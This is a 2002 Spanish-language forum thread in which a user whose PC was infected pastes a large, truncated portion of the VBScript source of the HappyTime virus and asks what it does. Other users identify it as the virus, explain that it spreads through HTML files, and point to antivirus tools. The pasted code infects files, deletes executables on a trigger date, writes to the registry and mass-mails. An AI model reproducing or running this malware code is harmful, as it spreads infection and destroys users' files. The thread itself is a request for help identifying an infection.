Foros del Web » Creando para Internet » Diseño web »

Alguien sabe que hace este pedazo de codigo

Estas en el tema de Alguien sabe que hace este pedazo de codigo en el foro de Diseño web en Foros del Web. Rem I am sorry! happy time On Error Resume Next mload Sub mload() On Error Resume Next mPath = Grf() Set Os = CreateObject("Scriptlet.TypeLib") Set ...
  #1 (permalink)  
Antiguo 04/05/2002, 13:41
Avatar de .
.
 
Fecha de Ingreso: mayo-2002
Ubicación: Tampico
Mensajes: 906
Antigüedad: 14 años, 4 meses
Puntos: 1
Alguien sabe que hace este pedazo de codigo


Rem I am sorry! happy time
On Error Resume Next
mload
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
If IsHTML Then
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:\Help.htm"
Os.Doc = Lhtml()
Os.Write()
Ihtml = "<span style='position:absolute'><Iframe src='C:\Help.htm' width='0' height='0'></Iframe></span>"
Call document.Body.insertAdjacentHTML("AfterBegin& quot;, Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
main
Else
Os.Reset()
Os.Path = mPath & "\" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
End If
End If
End If
Else
main
End If
End Sub
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject&quot ;)
Set Od = CreateObject("Scripting.Dictionary")
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
Ks = "HKEY_CURRENT_USER\Software\"
Ds = Grf()
Cs = Gsf()
If IsVbs Then
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile ("C:\help.htm")
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
End If
Cn = Rg(Ks & "Help\Count")
If Cn = "" Then
Cn = 1
End If
Rw Ks & "Help\Count", Cn + 1
f1 = Rg(Ks & "Help\FileName")
f2 = FNext(Of, Od, f1)
fext = GetExt(Of, Od, f2)
Rw Ks & "Help\FileName", f2
If IsDel(fext) Then
f3 = f2
f2 = FNext(Of, Od, f2)
Rw Ks & "Help\FileName", f2
Of.DeleteFile f3
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
If wp = "" Then
n1 = ""
n3 = Cs & "\Help.htm"
Else
  #2 (permalink)  
Antiguo 22/05/2002, 20:38
 
Fecha de Ingreso: diciembre-2001
Mensajes: 197
Antigüedad: 14 años, 8 meses
Puntos: 0
Re: Alguien sabe que hace este pedazo de codigo

es el codigo fuente del archivo del virus Vbs/HappyTime !!!

<center><img src="http://galeon.com/wbk/lhz.gif" align="center" width="285" height="102"></center>
  #3 (permalink)  
Antiguo 23/05/2002, 09:56
Avatar de mangandini
Colaborador
 
Fecha de Ingreso: marzo-2001
Ubicación: Guatemala
Mensajes: 1.752
Antigüedad: 15 años, 6 meses
Puntos: 22
Re: Alguien sabe que hace este pedazo de codigo

Así es, es el código de un virus...

Grabalo como .vbs, ejecútalo, y dile adios a tu computadora
  #4 (permalink)  
Antiguo 23/05/2002, 16:27
Avatar de .
.
 
Fecha de Ingreso: mayo-2002
Ubicación: Tampico
Mensajes: 906
Antigüedad: 14 años, 4 meses
Puntos: 1
Re: Alguien sabe que hace este pedazo de codigo

Que Bueno que alguien contesto pense que nadie iba a hacerlo

Escontre este codigo en mi computadora cuando un dia comenzo a querer mandar mails por todos lados
lo tenia en el directorio de Windows, pero todavia no se porque se me pego este virus si no he bajado ningun archivo, que acaso tambien se infectan las computadoras navegando??
Bueno espero respuestas de los programadores avanzados en este lenguaje
Saludos a toda la banda de los foros....

  #5 (permalink)  
Antiguo 23/05/2002, 21:06
 
Fecha de Ingreso: diciembre-2001
Mensajes: 197
Antigüedad: 14 años, 8 meses
Puntos: 0
Re: Alguien sabe que hace este pedazo de codigo

con este virus si por que este virus infecta archivos htm y html !!!

Por ejemplo si entras a una web que este infectada con dicho virus y si tu antivirus no esta actualizado pues te infectas !!!

puedes bajar la vacuna de www.norton.com y www.pandasoftware.es

<center><img src="http://galeon.com/wbk/lhz.gif" align="center" width="285" height="102"></center>
  #6 (permalink)  
Antiguo 24/05/2002, 13:06
Avatar de .
.
 
Fecha de Ingreso: mayo-2002
Ubicación: Tampico
Mensajes: 906
Antigüedad: 14 años, 4 meses
Puntos: 1
Re: Alguien sabe que hace este pedazo de codigo

O.k gracias wBktEaM aunque ya tengo el antivirus actulizado de mcafee

no leemos luego
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 14:51.